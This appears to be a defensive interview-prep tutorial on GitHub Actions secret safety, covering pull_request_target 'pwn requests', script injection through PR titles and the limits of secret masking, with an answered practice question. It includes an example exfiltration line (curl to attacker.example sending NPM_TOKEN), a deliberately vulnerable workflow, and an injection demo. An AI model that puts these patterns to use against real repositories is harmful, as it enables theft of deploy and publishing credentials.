A CI job is a computer that runs whatever the repository tells it to. When the repository content comes from a stranger’s pull request, the job is running a stranger’s code. If that job also has your deploy token, cloud credentials or package-publishing key, the stranger has them too. It doesn’t matter how carefully the secret is “masked” in logs. Code that can read an environment variable can send it anywhere.
That’s the core of this interview topic: secrets and untrusted code must never meet in the same job. The details are about where the platform draws that line for you, the ways workflows accidentally cross it, and what to use instead of long-lived secrets in the first place.
What GitHub does by default for fork PRs
When someone opens a pull request from a fork, a workflow triggered by pull_request runs the fork’s version of the workflow file and the fork’s code. To make that safe, GitHub withholds repository and organization secrets from the run (except GITHUB_TOKEN), and gives GITHUB_TOKEN read-only permissions. For first-time contributors, a maintainer must also approve the run before it starts, depending on the repository setting.
That design means a malicious PR can modify the workflow, add curl attacker.example --data "$NPM_TOKEN" to a test script, and get nothing, because NPM_TOKEN is empty in that run. Pull requests from Dependabot are treated similarly and use a separate set of Dependabot secrets.
Pull requests from branches inside the same repository are different: those authors already have write access, so the workflow gets secrets. Anyone who can push a branch can exfiltrate every secret available to workflows on that branch. That’s an argument for limiting who has write access and for scoping secrets to environments, covered below.
pull_request_target: the trigger that hands out secrets
Some tasks on fork PRs genuinely need write access: labelling a PR, posting a comment with test coverage. For that, GitHub provides pull_request_target. It runs the workflow file from the base branch, not the PR, in the context of the base repository, with secrets and a token that can write.
That’s safe as long as the job never runs the PR’s code. The dangerous pattern, often called a “pwn request,” looks like this:
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # the fork's code
- run: npm ci && npm test # runs it, with secrets
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}npm ci runs install scripts from the PR’s package.json, and npm test runs whatever the PR says test is. Both execute with NPM_TOKEN in the environment and a writable GITHUB_TOKEN. The workflow file itself came from your base branch, which is exactly why reviewers miss it: the attack is in the code being checked out, not in the YAML.
The fix is to split the work. Build and test untrusted code with pull_request (no secrets). If you need to post results, have that workflow upload them as an artifact, and use a separate workflow_run workflow that downloads the artifact and comments. Treat the artifact’s content as untrusted data while you do it.
Script injection through event fields
Even workflows that never run PR code can be hijacked by text the attacker controls: PR titles, branch names, issue bodies and commit messages. The ${{ }} expression is substituted into the script before the shell runs it, so text can become code:
- run: echo "Checking PR title: ${{ github.event.pull_request.title }}"Here’s what that substitution does with a hostile title, reproduced in plain bash:
TITLE='Fix typo"; echo "INJECTED: running attacker code with $DEPLOY_TOKEN"; echo "'
export DEPLOY_TOKEN=ghp_example_not_real
echo "--- unsafe: expression pasted into the script text"
script="echo \"Checking PR title: $TITLE\""
bash -c "$script"
echo "--- safe: title passed as an environment variable"
PR_TITLE="$TITLE" bash -c 'echo "Checking PR title: $PR_TITLE"'--- unsafe: expression pasted into the script text
Checking PR title: Fix typo
INJECTED: running attacker code with ghp_example_not_real
--- safe: title passed as an environment variable
Checking PR title: Fix typo"; echo "INJECTED: running attacker code with $DEPLOY_TOKEN"; echo "The quote in the title closed the string, and the rest ran as a command with the token in scope. In the second version the title arrives as data in an environment variable, and the shell never parses it as code. In workflow YAML:
- run: echo "Checking PR title: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}This matters most in pull_request_target, issue_comment and issues workflows, which run with secrets and are triggered by text anyone can write.
Masking is a convenience, not a control
GitHub replaces registered secret values with *** in logs. That’s useful against accidentally printing a token. It isn’t protection against code that wants the secret: masking matches the exact string, so a script that prints the secret base64-encoded, reversed or split into pieces gets past it, and code that sends the secret over the network never writes it to the log at all. Structured values are also a problem; if you store a JSON blob as one secret, individual fields inside it aren’t registered separately.
So don’t reason “it’s masked, so it’s safe to expose to this job.” Reason about which code runs in the job.
Shrinking what a leak can do
Assume a secret will leak one day and limit the damage:
- Replace long-lived keys with OIDC. GitHub Actions can request a short-lived OpenID Connect token that AWS, Azure, Google Cloud and others exchange for temporary credentials. The cloud side can restrict trust to a specific repository, branch or environment, for example only
repo:acme/shop:environment:production. Nothing long-lived is stored to steal. - Use environments for deploy secrets. Secrets attached to a
productionenvironment are only available to jobs that reference that environment, and the environment can require a reviewer’s approval and allow only certain branches. A PR branch can’t reach them. - Set
permissions:explicitly. Start workflows withpermissions: contents: readand grant more per job. A stolenGITHUB_TOKENthat can only read code is far less useful than one that can push tomain. - Pin third-party actions to a commit SHA.
uses: some/action@v3runs whatever that tag points to today. If the action’s repository is compromised and the tag moved, your job runs the attacker’s code with your secrets. - Keep secrets out of the repository. Enable secret scanning and push protection so a committed token is blocked or flagged, and rotate anything that ever reached Git history.
Interview practice
An open-source project has a workflow on pull_request_target that checks out the PR’s head commit, runs npm ci, runs the tests, and posts a coverage comment using a bot token stored as BOT_TOKEN. A security researcher reports that they could read BOT_TOKEN and NPM_PUBLISH_TOKEN (also defined as a repository secret). Explain the vulnerability and the fix.
Answer
pull_request_target runs with the base repository’s secrets and a write-capable token, and this workflow checks out and executes the fork’s code in that context. The researcher’s PR could add a postinstall script to package.json or change the test command, and that code ran with every secret the job could reach. Repository secrets are available to any workflow in the repository unless scoped to an environment, so NPM_PUBLISH_TOKEN was reachable too.
Immediate steps: disable the workflow, revoke and rotate BOT_TOKEN and NPM_PUBLISH_TOKEN, and check npm and GitHub audit logs for misuse during the exposure window.
Then restructure. Run tests on pull_request, where fork runs get no secrets and a read-only token; upload the coverage report as an artifact. Add a second workflow triggered by workflow_run on completion of the first, which downloads the artifact, treats its contents as untrusted text (no executing it, no pasting it into shell scripts through ${{ }}), and posts the comment with a token limited to pull-requests: write. Move npm publishing to a release workflow that uses a production environment with required reviewers, or better, npm’s trusted publishing via OIDC so there’s no long-lived token at all. Finally, set default permissions: contents: read at the top of every workflow.